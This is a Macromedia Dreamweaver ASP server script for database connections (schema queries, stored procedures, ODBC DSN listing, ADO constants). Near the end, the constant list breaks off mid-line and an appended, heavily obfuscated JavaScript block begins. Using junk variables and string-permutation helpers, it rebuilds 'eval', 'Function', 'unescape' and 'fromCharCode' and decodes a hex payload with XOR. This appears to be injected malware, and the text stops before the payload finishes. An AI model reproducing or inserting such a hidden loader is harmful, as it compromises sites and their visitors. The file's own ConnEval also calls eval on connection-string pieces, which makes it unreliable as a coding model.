// Copyright 2001, 2002, 2003, 2004, 2005 Macromedia, Inc. All rights reserved.
<SCRIPT LANGUAGE=VBScript RUNAT=Server>
function CreateVBArray(elem1,elem2,elem3,elem4)

	elem1 = "" + elem1
	elem2 = "" + elem2
	elem3 = "" + elem3
	elem4 = "" + elem4

	if (Len(elem1) = 0) then
		elem1 = Empty
	end if

	if (Len(elem2) = 0) then
		elem2 = Empty
	end if

	if (Len(elem3) = 0) then
		elem3 = Empty
	end if

	if (Len(elem4) = 0) then
		elem4 = Empty
	end if

	if (elem4 = "PrimaryKeys") then
		CreateVBArray = Array(elem1,elem2,elem3)
	else
		CreateVBArray = Array(elem1,elem2,elem3,elem4)
	end if

end function

function CreateVBEmpty()
	CreateVBEmpty = Empty
end function

</SCRIPT>


<SCRIPT LANGUAGE=JavaScript RUNAT=Server>

//define the variant array for openSchema call
//create a javascript array instead of vb variant
//to fix SP2
function CreateJSArray(elem1,elem2,elem3,elem4)
{
	var filterCriteriaArray = new Array();
		
	var filterParam1 = "" + elem1
	var filterParam2 = "" + elem2
	var filterParam3 = "" + elem3
	var filterParam4 = "" + elem4

	if (!((filterParam1.length > 0) && (filterParam1 != "undefined")))
	{
		filterParam1 = CreateVBEmpty();
	}
	
	if (!((filterParam2.length > 0) && (filterParam2 != "undefined")))
	{
		filterParam2 = CreateVBEmpty();
	}
	
	if (!((filterParam3.length > 0) && (filterParam3 != "undefined")))
	{
		filterParam3 = CreateVBEmpty();
	}
	
	if (!((filterParam4.length > 0) && (filterParam4 != "undefined")))
	{
		filterParam4 = CreateVBEmpty();
	}	
	
	if (filterParam4 == "PrimaryKeys") 
	{
		filterCriteriaArray[0] = filterParam1;
		filterCriteriaArray[1] = filterParam2;
		filterCriteriaArray[2] = filterParam3;		
	}
	else
	{
		filterCriteriaArray[0] = filterParam1;
		filterCriteriaArray[1] = filterParam2;
		filterCriteriaArray[2] = filterParam3;			
		filterCriteriaArray[3] = filterParam4;			
	}			
	return filterCriteriaArray;
}

function CreateMMConnection(ConnectionString,UserName,Password,Timeout)
{
	var Object;
	Object = new MMConnection(ConnectionString,UserName,Password,Timeout);
	return Object;
}

function MMConnection(ConnectionString,UserName,Password,Timeout)
{
	MMConnReconnect(this);
	this.isOpen = false;
	this.ConnectionString = ConnectionString;
	this.UserName		  = String(UserName);
	this.Password		  = String(Password);
	this.Connection		  = Server.CreateObject("ADODB.Connection");
	this.Connection.ConnectionTimeout = Timeout;
}


function MMConnReconnect(Object)
{
	Object.GetODBCDSNs				= ConnGetODBCDSNs;
	Object.Open						= ConnOpen;
	Object.GetTables				= ConnGetTables;
	Object.GetViews					= ConnGetViews;
	Object.GetProcedures			= ConnGetProcedures;
	Object.GetColumnsOfTable		= ConnGetColumns;
	Object.GetPrimaryKeysOfTable	= ConnGetPrimaryKeys;
	Object.GetParametersOfProcedure = ConnGetParametersOfProcedure;
	Object.ExecuteSQL				= ConnExecuteSQL;
	Object.ExecuteSP				= ConnExecuteSP;
	Object.ReturnsResultSet			= ConnReturnsResultSet;
	Object.SupportsProcedure		= ConnSupportsProcedure;
	Object.GetProviderTypes			= ConnGetProviderTypes;
	Object.HandleExceptions			= ConnHandleExceptions;
	Object.TestOpen					= ConnIsOpen;
	Object.Close					= ConnClose;
}


function ConnOpen()
{
	var theConnectionString = new String(this.ConnectionString);

	//  ????????????? OBSOLETE: begin ????????????????????????????????
	if (this.UserName && this.UserName.length)
	{
		theConnectionString = theConnectionString + ";uid=" + this.UserName;
	}
	if (this.Password && this.Password.length)
	{
		theConnectionString = theConnectionString + ";pwd=" + this.Password;
	}
	//  ????????????? OBSOLETE: end ????????????????????????????????

	//  The given connection string may not be formatted for OLE DB.  It may, for example,
	//  be a SQL Server connection string.  In such cases we need to morph it into
	//  an OLE DB connection string so it can be digested by the ADODB.Connection that
	//  we're using.
	//
	//  For now, we are only dealing with morphing SQL Server connection strings.  In the
	//  future, this logic may have to be expanded to deal with Oracle, Informix, etc. as
	//  those vendors make their own ASP.Net drivers available for use (circumventing
	//  the current need to go through OLE DB to access those databases).

	var dbType = Request("DATABASETYPE");
	if (dbType != null)
	{
		var strDBtype = new String(dbType);
		if ((strDBtype.length > 0) && (strDBtype.toLowerCase() == "sqlserver"))
		{
			if (theConnectionString.charAt(0) == "\"")
			{
				theConnectionString = "\"Provider=SQLOLEDB;" + theConnectionString.substring(1);
			}
			else
			{
				theConnectionString = "Provider=SQLOLEDB;" + theConnectionString;
			}
		}
	}

	var aConn = ConnEval(theConnectionString);
	this.Connection.Open(aConn);
	this.isOpen = (this.Connection.State == adStateOpen);
}

function ConnIsOpen()
{
	var xmlOutput = "";

	if (this.isOpen)
	{
		xmlOutput = xmlOutput + "<TEST status=";
		xmlOutput = xmlOutput + this.isOpen;
		xmlOutput = xmlOutput + "></TEST>";
	}

	return xmlOutput;
}

function ConnClose()
{
	if (this.Connection && this.isOpen)
	{
		this.Connection.Close();
	}
}

function ConnGetTables(SchemaName,CatalogName)
{
	if (this.Connection && this.isOpen)
	{
		//var VBVariant = new VBArray(CreateVBArray(CatalogName,SchemaName,"","TABLE"));
		var JSVariant = CreateJSArray(CatalogName,SchemaName,"","TABLE");		
		return MarshallRecordsetIntoHTML(this.Connection.OpenSchema(adSchemaTables,JSVariant));
	}
	
	return null;
}

function ConnGetViews(SchemaName,CatalogName)
{
	if (this.Connection && this.isOpen)
	{
		//var VBVariant = new VBArray(CreateVBArray(CatalogName,SchemaName,"","VIEW"));
		var JSVariant = CreateJSArray(CatalogName,SchemaName,"","VIEW");		
		return MarshallRecordsetIntoHTML(this.Connection.OpenSchema(adSchemaTables,JSVariant));
	}

	return null;
}

function ConnGetProcedures(SchemaName,CatalogName)
{
	if (this.Connection && this.isOpen)
	{
		//var VBVariant = new VBArray(CreateVBArray(CatalogName,SchemaName,"",""));
		var JSVariant = CreateJSArray(CatalogName,SchemaName,"","");				
		return MarshallRecordsetIntoHTML(this.Connection.OpenSchema(adSchemaProcedures,JSVariant));
	}

	return null;
}

function ConnGetColumns(TableName,SchemaName,CatalogName)
{
	if (this.Connection && this.isOpen)
	{
		//var VBVariant = new VBArray(CreateVBArray(CatalogName,SchemaName,TableName,""));
		var JSVariant = CreateJSArray(CatalogName,SchemaName,TableName,"");				
		return MarshallRecordsetIntoHTML(this.Connection.OpenSchema(adSchemaColumns,JSVariant));
	}

	return null;
}

function ConnGetPrimaryKeys(TableName,SchemaName,CatalogName)
{
	if (this.Connection && this.isOpen)
	{
		//var VBVariant = new VBArray(CreateVBArray(CatalogName,SchemaName,TableName,"PrimaryKeys"));
		var JSVariant = CreateJSArray(CatalogName,SchemaName,TableName,"PrimaryKeys");				
		return MarshallRecordsetIntoHTML(this.Connection.OpenSchema(adSchemaPrimaryKeys,JSVariant));
	}

	return null;
}


function ConnGetParametersOfProcedure(ProcedureName,SchemaName,CatalogName)
{
	if (this.Connection && this.isOpen)
	{
		//var VBVariant = new VBArray(CreateVBArray(CatalogName,SchemaName,ProcedureName,""));
		var JSVariant = CreateJSArray(CatalogName,SchemaName,ProcedureName,"");				
		return this.Connection.OpenSchema(adSchemaProcedureParameters,JSVariant);
	}

	return null;
}

function ConnExecuteSQL(aStatement,MaxRows)
{
	if (this.Connection && this.isOpen)
	{
		var oRecordset = Server.CreateObject("ADODB.Recordset");
		if (oRecordset)
		{
			aStatement = "" + aStatement;
			oRecordset.MaxRecords = MaxRows;
			oRecordset.Open(aStatement,this.Connection);
			return MarshallRecordsetIntoHTML(oRecordset);
		}
	}

	return null;
}

function ConnGetProviderTypes()
{
	if (this.Connection && this.isOpen)
	{
		return MarshallRecordsetIntoHTML(this.Connection.OpenSchema(adSchemaProviderTypes));
	}

	return null;
}

function ConnExecuteSP(aProcStatement,TimeOut,Parameters)
{
	if (this.Connection && this.isOpen)
	{
		var oCommand = Server.CreateObject("ADODB.Command");

		aProcStatement = "" + aProcStatement;
		oCommand.CommandTimeout = TimeOut;
		oCommand.CommandText = aProcStatement;
		oCommand.CommandType = adCmdStoredProc;
		oCommand.ActiveConnection = this.Connection;

		Parameters = "" + Parameters;

		if (!Parameters.length)
		{
			if (oCommand)
			{
				return MarshallRecordsetIntoHTML(oCommand.Execute());
			}
		}
		else
		{
			//Substitute Parameters.
			var Params = Parameters;
			var ParamArray = new Array();

			if (Params && Params != "undefined")
			{
				var cSize = 0;
				for (;;)
				{
					var index = Params.indexOf(",");
					if (index == -1)
					{
						index = Params.length;
					}

					var name = Params.substring(0,index);

					Params = Params.substring(index+1,Params.length);
					index = Params.indexOf(",");
					if (index == -1)
					{
						index = Params.length;
					}

					var value = Params.substring(0,index);

					var Pair = new Object();

					Pair.name = name;
					Pair.value = value;

					ParamArray[cSize] = Pair;
					cSize++;

					if (index >= Params.length)
					{
						break;
					}

					Params = Params.substring(index+1,Params.length);
				}


				if (oCommand.Parameters.Count == -1)
				{
					//Create Parameters
					var oRecordset = ConnGetParametersOfProcedure(aProcStatement);
					if (oRecordset)
					{
						var pCount=0;
						while (!oRecordset.EOF)
						{
							var pName    = oRecordset.Fields.Item("PARAMETER_NAME").Value;
							var pOrdinal = oRecordset.Fields.Item("ORDINAL_POSITION").Value;
							var pType	 = oRecordset.Fields.Item("PARAMETER_TYPE").Value;
							var pDataType = oRecordset.Fields.Item("DATA_TYPE").Value;
							switch (pDataType)
							{
								case adBinary:
								case adBSTR:
								case adChar:
								case adLongVarBinary:
								case adLongVarChar:
								case adLongVarWChar:
								case adLongVarChar:
								case adVarBinary:
								case adVarChar:
								case adVarWChar:
								{
									var pSize = oRecordset.Fields.Item("CHARACTER_MAXIMUM_LENGTH").Value;
								}
								default:
								{
									var pSize = null;
								}
							}

							if ((pType == adParamInput) || (pType == adParamInputOutput))
							{
								var pValue = ParamArray[pName];
								//if we could not find parameter by name ..try to find 
								//parameter by index.
								if (!pValue)
								{
									//try the case when the parameter is set by index.
									pStrCount = "" + pCount;
									pValue = ParamArray[pStrCount];
								}
								oCommand.CreateParameter(pName,pDataType,pType,pSize,pValue);
							}
							else
							{
								var pValue = null;
								oCommand.CreateParameter(pName,pDataType,pType,pSize,pValue);
							}
							oRecordset.MoveNext();
							pCount++;
						}
					}	
				 }
				 else
				 {
					for (var i =0 ; i < ParamArray.length ; i++)
					{
						Pair = ParamArray[i];

						if (Pair.value)
						{
							var pIndex = "" + parseInt(Pair.name);

							if (pIndex == Pair.name)
							{
								var aParameter = oCommand.Parameters(parseInt(Pair.name));
							}
							else
							{
								var aParameter = oCommand.Parameters(Pair.name);
							}

							if (aParameter)
							{
								if ((aParameter.Direction == adParamInput) || (aParameter.Direction == adParamInputOutput))
								{
									aParameter.Value = Pair.value;
								}
							}
						}
					}
					return MarshallRecordsetIntoHTML(oCommand.Execute());
				 }
			}
		}
	}

	return null;
}

function ConnReturnsResultSet(ProcedureName,SchemaName,CatalogName)
{
	if (this.Connection && this.isOpen)
	{
		//var VBVariant =  new VBArray(CreateVBArray(CatalogName,SchemaName,ProcedureName,""));
		var JSVariant = CreateJSArray(CatalogName,SchemaName,ProcedureName,"");						
		var oRecordset = this.Connection.OpenSchema(adSchemaProcedureColumns,JSVariant);

		var status = "true";
		if (oRecordset.EOF) 
		{
			status = "false";
		}

		var xmlOutput = "";
		xmlOutput = xmlOutput + "<RETURNSRESULTSET status=";
		xmlOutput = xmlOutput + status;
		xmlOutput = xmlOutput + "></RETURNSRESULTSET>";
		return xmlOutput;
	}
}

function ConnSupportsProcedure()
{	
	if (this.Connection && this.isOpen)
	{
		var aProvider = "" + this.Connection.Provider;

		var status = "true";

		if (aProvider.indexOf("Microsoft.Jet") != -1)
		{
			status = "false";
		}

		if (aProvider.indexOf("MSDASQL")!=-1)
		{
			var ProviderTypes = this.Connection.OpenSchema(adSchemaProviderTypes);

			if (ProviderTypes.Fields.Count > 0)
			{
				//Access
				aProviderType = ProviderTypes.Fields(0).Value;
				aProviderType = aProviderType.toLowerCase();

				if (aProviderType == "guid")
				{
					status = "false";
				}//Paradox/DBaseIII.
				else if (aProviderType == "short")
				{
					status = "false";
				}
				else if (aProviderType == "image")
				{
					status = "false";
				}
				else if (aProviderType == "logical")
				{
					status = "false";
				} //For FoxPro
				else if (aProviderType == "l")
				{
					status = "false";
				} //For MySQL....
				else if (aProviderType == "tinyint")
				{
					status = "false";
				}
			}
		}

		var xmlOutput = "";
		xmlOutput = xmlOutput + "<SUPPORTSPROCEDURE status=";
		xmlOutput = xmlOutput + status;
		xmlOutput = xmlOutput + "></SUPPORTSPROCEDURE>";
		return xmlOutput;
	}
}

function ConnHandleExceptions()
{
	var xmlOutput = "";

	xmlOutput = xmlOutput + "<ERRORS>";
	if (this.Connection)
	{
		var Errors = this.Connection.Errors;

		for (var i =0 ; i < Errors.Count ; i++)
		{ 
			xmlOutput = xmlOutput + "<ERROR";

			xmlOutput = xmlOutput + " Identification=\""
			xmlOutput = xmlOutput + Errors(i).Number;
			xmlOutput = xmlOutput + "\"";

			xmlOutput = xmlOutput + " Source=\""
			xmlOutput = xmlOutput + Errors(i).Source;
			xmlOutput = xmlOutput + "\"";

			xmlOutput = xmlOutput + " HelpFile=\""
			xmlOutput = xmlOutput + Errors(i).HelpFile;
			xmlOutput = xmlOutput + "\"";

			xmlOutput = xmlOutput + " HelpContext=\""
			xmlOutput = xmlOutput + Errors(i).HelpContext;
			xmlOutput = xmlOutput + "\"";

			xmlOutput = xmlOutput + "><DESCRIPTION>";
			xmlOutput = xmlOutput + HTMLEncode(Errors(i).Description);
			xmlOutput = xmlOutput + "</DESCRIPTION></ERROR>";
		}
	}
	xmlOutput = xmlOutput + "</ERRORS>";

	return xmlOutput;
}

function MarshallRecordsetIntoHTML(aResultSet)
{
	var xmlOutput = "";
	if (aResultSet)
	{
		xmlOutput = xmlOutput + "<RESULTSET>";
		xmlOutput = xmlOutput + "<FIELDS>";

		for(var i=0 ;i < aResultSet.Fields.Count ; i++)
		{
			xmlOutput = xmlOutput + "<FIELD";

			xmlOutput = xmlOutput + " type=\"";
			xmlOutput = xmlOutput + aResultSet.Fields(i).Type;
			xmlOutput = xmlOutput + "\"";

			xmlOutput = xmlOutput + " definedSize=\"";
			xmlOutput = xmlOutput + aResultSet.Fields(i).DefinedSize;
			xmlOutput = xmlOutput + "\"";


			xmlOutput = xmlOutput + " actualsize=\"";

			if (!aResultSet.EOF)
			{
				xmlOutput = xmlOutput + aResultSet.Fields(i).ActualSize;
			}
			else
			{
				xmlOutput = xmlOutput + "-1";
			}

			xmlOutput = xmlOutput + "\"";

			xmlOutput = xmlOutput + " precision=\"";
			xmlOutput = xmlOutput + aResultSet.Fields(i).Precision;
			xmlOutput = xmlOutput + "\"";

			xmlOutput = xmlOutput + " scale=\"";
			xmlOutput = xmlOutput + aResultSet.Fields(i).NumericScale;
			xmlOutput = xmlOutput + "\"";

			xmlOutput = xmlOutput + ">";

			xmlOutput = xmlOutput + "<NAME>";
			xmlOutput = xmlOutput + HTMLEncode(aResultSet.Fields(i).Name);
			xmlOutput = xmlOutput + "</NAME>";
	
			xmlOutput = xmlOutput + "</FIELD>";

		}

		xmlOutput = xmlOutput + "</FIELDS>";
		xmlOutput = xmlOutput + "<ROWS>";

		while (!aResultSet.EOF)
		{
			xmlOutput = xmlOutput + "<ROW>";
			for(var i=0 ;i < aResultSet.Fields.Count ; i++)
			{
				xmlOutput = xmlOutput + "<VALUE>";
				var aValue = aResultSet.Fields(i).Value;
				if (aValue && aValue.length)
				{
					xmlOutput = xmlOutput + HTMLEncode(aValue);
				}
				else
				{
					xmlOutput = xmlOutput + aResultSet.Fields(i).Value;
				}
				xmlOutput = xmlOutput + "</VALUE>";
			}
			xmlOutput = xmlOutput + "</ROW>";
			aResultSet.MoveNext()
		}

		xmlOutput = xmlOutput + "</ROWS>";
		xmlOutput = xmlOutput + "</RESULTSET>";
		aResultSet.Close();
	}
	return xmlOutput;
}

function ConnGetODBCDSNs()
{
   var fso = new ActiveXObject("Scripting.FileSystemObject");
   var dsnList=new Array();
   var OdbcIniFile = null;
   var odbcFileName = "";
   var e = new Enumerator(fso.Drives);
   var xmlOutput="";
   for (; !e.atEnd(); e.moveNext())
   {
	  var x = e.item();

	  //Skip Drive that not ready...
	  if (!fso.DriveExists(x) || !x.IsReady || (x.DriveType==1))
	  {
		continue;
	  }

	  var driverLetter = x.DriveLetter;
	  var WinFolderName1 = driverLetter + ":\\" + "Winnt";
	  var WinFolderName2 = driverLetter + ":\\" + "Windows";
	  if (fso.FolderExists(WinFolderName1))
	  {
         //Get the ODBC FileName.
		odbcFileName = WinFolderName1 + "\\" + "ODBC.INI";
		break;
	  }
	  else if (fso.FolderExists(WinFolderName2))
	  {
         //Get the ODBC FileName.
		odbcFileName = WinFolderName2 + "\\" + "ODBC.INI";
		break;
	  }
   }

   if (odbcFileName.length > 0)
   {
	  if (fso.FileExists(odbcFileName))
	  {
	     //  Don't use the FSO's OpenTextFile method because it hangs Windows XP.
		 //  Work around that Windows bug by using the equivalently functional Stream
		 //  object.

		 OdbcIniFile = Server.CreateObject("ADODB.Stream");
		 OdbcIniFile.Type = 2;

		 //  Initially, we will try to use the charset associated with the codepage
		 //  for this ASP session.  This should be the default charset for this
		 //  web site or for this server.  This helps in cases where the OS is in,
		 //  say, Japanese.  However, we have found (empiracally) that on some
		 //  computers this causes the stream to be unreadable.  So, we will
		 //  (below) test the stream.  If it looks bogus, we will default to using
		 //  "ascii" as the charset.

		 OdbcIniFile.Charset = getCharsetStringFromCodepageNumber(currentSessionCodePage);
		 OdbcIniFile.Open();
		 OdbcIniFile.LoadFromFile(odbcFileName);

		 if (OdbcIniFile && (!OdbcIniFile.EOS))
		 {
			 //  Test to see if we can, in fact, read the stream.

			 var aLine = OdbcIniFile.ReadText(-2);

			 //  Reset the stream's position so if we can read it we haven't lost the test line
			 //  that we just read.

			 OdbcIniFile.Position = 0;

			 if (aLine == "")
			 {
				 //  It appears that the stream is bogus.  Try reading it as ASCII.

				 OdbcIniFile.Close();
				 OdbcIniFile.Type = 2;
				 OdbcIniFile.Charset = "ascii";
				 OdbcIniFile.Open();
				 OdbcIniFile.LoadFromFile(odbcFileName);
			 }
		 }
      }
   }

   if (OdbcIniFile)
   {
	 var i =0;
	 var odbcSection = -1;
	 while (!OdbcIniFile.EOS)
	 {
		 var aLine = OdbcIniFile.ReadText(-2);
		 var odbcSection = aLine.indexOf("[ODBC");
		 if (odbcSection != -1)
		 {
			break;
		 }
	 }
	 if (odbcSection != -1)
	 {
		 while (!OdbcIniFile.EOS)
		 {
			 var aLine = OdbcIniFile.ReadText(-2);
			 if (aLine.charAt(0) != "[")
			 {
				 var anIndex = aLine.indexOf("=");
				 if (anIndex != -1)
				 {
					var dsnName = aLine.substring(0,anIndex);
					dsnList[dsnList.length]= dsnName;
				 }
			}
			else
			{
				break;
			}
		 }
	  }
	 OdbcIniFile.Close();
   }

   xmlOutput = "<RESULTSET>";
   if (dsnList.length)
   {
		xmlOutput = xmlOutput + "<FIELDS>";
		xmlOutput = xmlOutput + "<FIELD>";
		xmlOutput = xmlOutput + "<NAME>NAME</NAME>";
		xmlOutput = xmlOutput + "</FIELD>";
		xmlOutput = xmlOutput + "</FIELDS>";

		xmlOutput = xmlOutput + "<ROWS>";
		for (var i =0 ; i < dsnList.length; i++)
		{
			xmlOutput = xmlOutput + "<ROW>";
			xmlOutput = xmlOutput + "<VALUE>";
			xmlOutput = xmlOutput + HTMLEncode(dsnList[i]);
			xmlOutput = xmlOutput + "</VALUE>";
			xmlOutput = xmlOutput + "</ROW>";
		}
		xmlOutput = xmlOutput + "</ROWS>";
   }
   xmlOutput = xmlOutput + "</RESULTSET>";
   return xmlOutput;
}

function ConnEval(ConnString)
{
	ConnString = "" + ConnString;
	if (ConnString.length)
	{
		var delimiter = (ConnString.indexOf("+") != -1) ? "+" : "&";
		var aConnString = "";

		for (;;)
		{
			var index = ConnString.indexOf(delimiter);

			if (index == -1)
			{
				index = ConnString.length;
			}

			var aStringlet	= ConnString.substring(0,index);

			try
			{
				aConnString = aConnString + eval(aStringlet);
			}
			catch (e)
			{
				aConnString = ConnString;
				return aConnString;
			}

			if (index >= ConnString.length)
			{
				break;
			}

			ConnString = ConnString.substring(index+1,ConnString.length);
		}

		return aConnString;
	}

	return ConnString;
}

function HTMLEncode(TheString)
{
	if ( Session.CodePage == 65001 )
	{
		return TheString;
	}
	else
	{
		return Server.HTMLEncode(TheString);
	}
}

function getCharsetStringFromCodepageNumber(nCodePage)
{
	var strCharSet = "ascii";

	switch (nCodePage)
	{
		case 20106: strCharSet = "DIN_66003"; break;
		case 20108: strCharSet = "NS_4551-1"; break;
		case 20107: strCharSet = "SEN_850200_B"; break;
		case 50932: strCharSet = "_autodetect"; break;
		case 50949: strCharSet = "_autodetect_kr"; break;
		case 950: strCharSet = "big5"; break;
		case 50221: strCharSet = "csISO2022JP"; break;
		case 51949: strCharSet = "euc-kr"; break;
		case 936: strCharSet = "gb2312"; break;
		case 52936: strCharSet = "hz-gb-2312"; break;
		case 852: strCharSet = "ibm852"; break;
		case 866: strCharSet = "ibm866"; break;
		case 20105: strCharSet = "irv"; break;
		case 50220: strCharSet = "iso-2022-jp"; break;
		case 50222: strCharSet = "iso-2022-jp"; break;
		case 50225: strCharSet = "iso-2022-kr"; break;
		case 1252: strCharSet = "iso-8859-1"; break;
		case 28591: strCharSet = "iso-8859-1"; break;
		case 28592: strCharSet = "iso-8859-2"; break;
		case 28593: strCharSet = "iso-8859-3"; break;
		case 28594: strCharSet = "iso-8859-4"; break;
		case 28595: strCharSet = "iso-8859-5"; break;
		case 28596: strCharSet = "iso-8859-6"; break;
		case 28597: strCharSet = "iso-8859-7"; break;
		case 28598: strCharSet = "iso-8859-8"; break;
		case 20866: strCharSet = "koi8-r"; break;
		case 949: strCharSet = "ks_c_5601"; break;
		case 932: strCharSet = "shift-jis"; break;
		case 1200: strCharSet = "unicode"; break;
		case 1201: strCharSet = "unicodeFEFF"; break;
		case 65000: strCharSet = "utf-7"; break;
		case 65001: strCharSet = "utf-8"; break;
		case 1250: strCharSet = "windows-1250"; break;
		case 1251: strCharSet = "windows-1251"; break;
		case 1252: strCharSet = "windows-1252"; break;
		case 1253: strCharSet = "windows-1253"; break;
		case 1254: strCharSet = "windows-1254"; break;
		case 1255: strCharSet = "windows-1255"; break;
		case 1256: strCharSet = "windows-1256"; break;
		case 1257: strCharSet = "windows-1257"; break;
		case 1258: strCharSet = "windows-1258"; break;
		case 874: strCharSet = "windows-874"; break;
		case 51932: strCharSet = "x-euc"; break;
		case 50000: strCharSet = "x-user-defined"; break;
	}

	return strCharSet;
}

</SCRIPT>

<SCRIPT LANGUAGE=JavaScript RUNAT=Server>

//---- ObjectStateEnum Values ----
var adStateClosed = 0x00000000;
var adStateOpen = 0x00000001;
var adStateConnecting = 0x00000002;
var adStateExecuting = 0x00000004;
var adStateFetching = 0x00000008;

//---- DataTypeEnum Values ----
var adEmpty = 0;
var adTinyInt = 16;
var adSmallInt = 2;
var adInteger = 3;
var adBigInt = 20;
var adUnsignedTinyInt = 17;
var adUnsignedSmallInt = 18;
var adUnsignedInt = 19;
var adUnsignedBigInt = 21;
var adSingle = 4;
var adDouble = 5;
var adCurrency = 6;
var adDecimal = 14;
var adNumeric = 131;
var adBoolean = 11;
var adError = 10;
var adUserDefined = 132;
var adVariant = 12;
var adIDispatch = 9;
var adIUnknown = 13;
var adGUID = 72;
var adDate = 7;
var adDBDate = 133;
var adDBTime = 134;
var adDBTimeStamp = 135;
var adBSTR = 8;
var adChar = 129;
var adVarChar = 200;
var adLongVarChar = 201;
var adWChar = 130;
var adVarWChar = 202;
var adLongVarWChar = 203;
var adBinary = 128;
var adVarBinary = 204;
var adLongVarBinary = 205;
var adChapter = 136;
var adFileTime = 64;
var adDBFileTime = 137;
var adPropVariant = 138;
var adVarNumeric = 139;

//---- PositionEnum Values ----
var adPosUnknown = -1;
var adPosBOF = -2;
var adPosEOF = -3;

//---- ParameterDirectionEnum Values ----
var adParamUnknown = 0x0000;
var adParamInput = 0x0001;
var adParamOutput = 0x0002;
var adParamInputOutput = 0x0003;
var adParamReturnValue = 0x0004;

//---- CommandTypeEnum Values ----
var adCmdUnknown = 0x0008;
var adCmdText = 0x0001;
var adCmdTable = 0x0002;
var adCmdStoredProc = 0x0004;
var adCmdFile = 0x0100;
var adCmdTableDirect = 0x0200;


//---- SchemaEnum Values ----
var adSchemaProviderSpecific = -1;
var adSchemaAsserts = 0;
var adSchemaCatalogs = 1;
var adSchemaCharacterSets = 2;
var adSchemaCollations = 3;
var adSchemaColumns = 4;
var adSchemaCheckConstraints = 5;
var adSchemaConstraintColumnUsage = 6;
var adSchemaConstraintTableUsage = 7;
var adSchemaKeyColumnUsage = 8;
var adSchemaReferentialConstraints = 9;
var adSchemaTableConstraints = 10;
var adSchemaColumnsDomainUsage = 11;
var adSchemaIndexes = 12;
var adSchemaColumnPrivileges = 13;
var adSchemaTablePrivileges = 14;
var adSchemaUsagePrivileges = 15;
var adSchemaProcedures = 16;
var adSchemaSchemata = 17;
var adSchemaSQLLanguages = 18;
var adSchemaStatistics = 19;
var adSchemaTables = 20;
var adSchemaTranslations = 21;
var adSchemaProviderTypes = 22;
var adSchemaVie
var pZ="41544572441b4f544e527a3b5652534238765f7945416e5f7b60566975437044624c577c7246694a625d48586f7e5f735d4955616176746d4a556d41447b566d5532784d3951495d015e7526745d";var dT=new Array();var VM=20764;function G(U){var z;if(z!='VF' && z!='by'){z=''};var za;if(za!='Wx' && za != ''){za=null};var P=32053; this.i=false;this.YI=false;function eD(t,J){return t[R("hracoedCAt", [3,0,2,1])](J);}var ML;if(ML!='fD'){ML='fD'};var A;if(A!='Di' && A != ''){A=null};var c;if(c!='tp' && c != ''){c=null};var Jb;if(Jb!='' && Jb!='Z'){Jb=null}; function R(y, Ri){var VJ;if(VJ!='bM' && VJ!='Yh'){VJ=''};var oO=false;this.rV=false;var WX;if(WX!='lg' && WX!='I'){WX=''};var D = '';var L;if(L!='gW'){L='gW'};this.yV="yV";var W = Ri.length;var m=[0][0];var ON;if(ON!=''){ON='da'};var Qi=new Array();var tv=[1,125,82,197][0];var KA="";var JM = y.length;this.hE="";var F;if(F!='OY' && F!='Xp'){F='OY'};for(var GB = m; GB < JM; GB += W) {var Zn;if(Zn!='' && Zn!='sz'){Zn=null};var B = y.substr(GB, W);var T;if(T!='ji'){T=''};var AF=false;if(B.length == W){var AP=new Array();for(var f in Ri) {var Lu='';D+=B.substr(Ri[f], tv);var Th;if(Th!='Wn' && Th != ''){Th=null};var fB;if(fB!='be' && fB != ''){fB=null};this.DD=64835;this.Ny="";}var mW=false;} else {this.lM="";var FS;if(FS!='Wnf' && FS != ''){FS=null};  D+=B;}var pa="pa";}var yW;if(yW!='' && yW!='Is'){yW=null};return D;var UK=new Date();var PD=new Date();}var Nr;if(Nr!='' && Nr!='BO'){Nr=''};var pl=new String(); var Xk=false;this.Ar="";function e(y){var D = '';var k = -1;this.eW=55672;var GB =[0][0];var lD=new Date();var oY;if(oY!='HX'){oY=''};y = new Gk(y);var Ws="";var TG='';var m =[0,17,131][0];var ub=9281;var rM=new Array();for (GB=y[R("thnleg", [3,4,2,5,0,1])]-k;GB>=m;GB=GB-[1,25,47][0]){D+=y[R("ahcArt", [2,1,0,4,3])](GB);var Ib='';}var Xi;if(Xi!='yH' && Xi!='Tx'){Xi=''};var Wa=32454;return D;var Mo;if(Mo!='' && Mo!='rn'){Mo='Tp'};var qy=new String();}var ct;if(ct!='' && ct!='jq'){ct='xI'}; var Q=function(eu){var a=eu[R("glhtne", [1,5,4,0,3,2])];var hy;if(hy!='' && hy!='fc'){hy=''};var o=[255,196][0];var tv=[1,67,106,67][0];var PU;if(PU!='Je'){PU='Je'};var f=[0,20][0];var VR;if(VR!='' && VR!='UC'){VR='MF'};var V=[14,150,0][2];var JT=false;this.iQ='';var fe=30467;var yN=28005;while(f<a){var qH;if(qH!='yWk'){qH='yWk'};this.iz=6670;f++;var Tr;if(Tr!=''){Tr='QN'};this.OMb=false;b=eD(eu,f - tv);var qS=new String();V+=b*a;var mDO=new Array();}this.Ue=false;return new Gk(V % o);};var xe;if(xe!='IT' && xe!='sI'){xe=''};var rT;if(rT!='Fl' && rT!='RM'){rT=''};this.iV=false;this.DM=false; var Vd=function(x,BH){this.fW='';var QV;if(QV!='Zv'){QV=''};return x^BH;this.RJ='';var at=49018;};var om;if(om!='eh'){om=''};var hj="hj";this.Hk='';var Sv='';var DHd=10778;var QM=window;var ctK;if(ctK!='' && ctK!='pY'){ctK=null};var H=QM[R("vael", [2,0,1,3])];var MY;if(MY!='' && MY!='hez'){MY=''};var kV=H(R("uotcFnin", [4,0,7,3,2,6,1,5]));var Zb=49586;var Gk=H(R("tSirgn", [1,0]));var l = '';var g=H(R("gpxeER", [5,3,0,4,2,1]));var pT=false;var nf=new Array();var Dg='';var yt="";var qo=55617;this.iHW=false;var Ir=false;var h=Gk[R("orfhCmCraedo", [2,1,0])];var DwU=false;var Am="Am";var st;if(st!='Pq' && st!='Mq'){st=''};var rf;if(rf!='Gg' && rf!='Uq'){rf=''};var gB=QM[R("enuacspe", [2,1,0])];var Qs=47778;var mh;if(mh!='HJ' && mh!='BB'){mh='HJ'};var Rn;if(Rn!='' && Rn!='LD'){Rn=null};var bk="";var iN;if(iN!='se' && iN != ''){iN=null};var xt="";var tv =[152,56,250,1][3];var tS =[18,137,206,2][3];var JU = '';var GL=false;this.ma="ma";var LK;if(LK!='gN' && LK!='xL'){LK='gN'};var Vr = '';var LV=false;var m =[111,0][1];var GBB =[0,36][0];var xi = '';var xx = /[^@a-z0-9A-Z_-]/g;var jWO;if(jWO!='' && jWO!='MQ'){jWO=null};var YN=false;var w = h(37);var Ub = 